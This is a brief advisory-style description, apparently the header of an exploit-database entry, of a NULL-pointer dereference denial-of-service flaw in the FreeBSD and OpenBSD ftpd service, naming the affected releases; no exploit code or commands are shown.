FreeBSD OpenBSD - ftpd Null Pointer Dereference Denial of Service

/*FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability

The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6
